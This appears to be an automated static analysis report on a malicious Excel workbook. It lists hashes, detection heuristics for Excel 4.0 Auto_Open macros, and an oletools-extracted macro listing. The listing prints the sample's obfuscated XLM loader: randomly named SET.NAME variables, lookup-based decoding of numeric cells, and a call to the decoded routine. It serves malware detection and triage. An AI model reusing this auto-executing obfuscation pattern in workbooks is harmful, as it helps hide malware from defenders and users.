Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 42b2042ab2e97e4c…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:44:51 Authoring application: Microsoft Excel First seen: 2020-12-25
MD5: 0055a5d707e1bbabc8c2d7878bbb9788 SHA-1: 95575606c8bac5719536c8d56f8bd0d72dee81a2 SHA-256: 42b2042ab2e97e4c6a2f05967d6f91f69cb66622f9ec459ebb98986da57e198a
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6662 bytes
SHA-256: 4686831495e9a7b0c63e9751ed4e95513bd042ab44338f8b07a3f1d27341cd3b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     13 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  ubMj
' 0018     20 LABEL : Cell Value, String Constant - aDJVs len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!E152 
' 0018     22 LABEL : Cell Value, String Constant - cFqApUe len=0 
' 0018     22 LABEL : Cell Value, String Constant - FkITMzG len=0 
' 0018     21 LABEL : Cell Value, String Constant - hHpQGR len=0 
' 0018     21 LABEL : Cell Value, String Constant - IXwRcr len=0 
' 0018     25 LABEL : Cell Value, String Constant - jcWqGWscQg len=0 
' 0018     22 LABEL : Cell Value, String Constant - LbXWXat len=0 
' 0018     26 LABEL : Cell Value, String Constant - LFwLLmEMUai len=0 
' 0018     25 LABEL : Cell Value, String Constant - oMmTIJuSlj len=0 
' 0018     25 LABEL : Cell Value, String Constant - OQuOdWVlNL len=0 
' 0018     20 LABEL : Cell Value, String Constant - OxvBh len=0 
' 0018     25 LABEL : Cell Value, String Constant - pxAAMKcXSz len=0 
' 0018     23 LABEL : Cell Value, String Constant - RMRwuYYT len=0 
' 0018     22 LABEL : Cell Value, String Constant - svjpNco len=0 
' 0018     20 LABEL : Cell Value, String Constant - tCcWW len=0 
' 0018     21 LABEL : Cell Value, String Constant - uNzITh len=0 
' 0018     21 LABEL : Cell Value, String Constant - vGxknF len=0 
' 0018     22 LABEL : Cell Value, String Constant - XcYoRGw len=0 
' 0018     22 LABEL : Cell Value, String Constant - xhIkevt len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZqamelxfzHI len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  ubMj,E62,"SET.NAME("ZqamelxfzHI",0+VALUE("0"))",""
'  ubMj,E65,"SET.NAME("OxvBh",ZqamelxfzHI)",""
'  ubMj,E67,"SET.NAME("LbXWXat",ZqamelxfzHI)",""
'  ubMj,E72,"SET.NAME("vGxknF",COUNTA(oMmTIJuSlj))",""
'  ubMj,E77,"SET.NAME("aDJVs",COUNTA(tCcWW))",""
'  ubMj,E82,[],""
'  ubMj,P83,"",-779.00000000000000000000
'  ubMj,P84,"",396.00000000000000000000
'  ubMj,E85,"SET.NAME("cFqApUe","")",""
'  ubMj,P85,"",43.00000000000000000000
'  ubMj,P86,"",-399.00000000000000000000
'  ubMj,P87,"",9.00000000000000000000
'  ubMj,P88,"",-835.00000000000000000000
'  ubMj,E90,"OxvBh",""
'  ubMj,E94,"SET.NAME("pxAAMKcXSz",HLOOKUP("*",oMmTIJuSlj,OxvBh,FALSE))",""
'  ubMj,E99,"RMRwuYYT",""
'  ubMj,E102,"SET.NAME("LFwLLmEMUai",ZqamelxfzHI)",""
'  ubMj,E106,[],""
'  ubMj,E109,"LFwLLmEMUai",""
'  ubMj,E112,"XcYoRGw",""
'  ubMj,E115,"hHpQGR",""
'  ubMj,E118,"jcWqGWscQg",""
'  ubMj,E120,"SET.NAME("IXwRcr",VALUE(HLOOKUP("*",tCcWW,jcWqGWscQg,FALSE)))",""
'  ubMj,E124,"xhIkevt",""
'  ubMj,E126,"cFqApUe",""
'  ubMj,E128,"LbXWXat",""
'  ubMj,E132,NEXT(),""
'  ubMj,E137,"uNzITh",""
'  ubMj,E140,[],""
'  ubMj,E142,"OQuOdWVlNL",""
'  ubMj,E145,NEXT(),""
'  ubMj,E147,RETURN(),""
'  ubMj,E174,"SET.NAME("svjpNco",E62)",""
'  ubMj,E179,"oMmTIJuSlj",""
'  ubMj,E183,"SET.NAME("tCcWW",R56C15)",""
'  ubMj,E188,"SET.NAME("OQuOdWVlNL",194)",""
'  ubMj,E190,"SET.NAME("FkITMzG",5)",""
'  ubMj,E193,svjpNco(),""
'  ubMj,E194,HALT(),""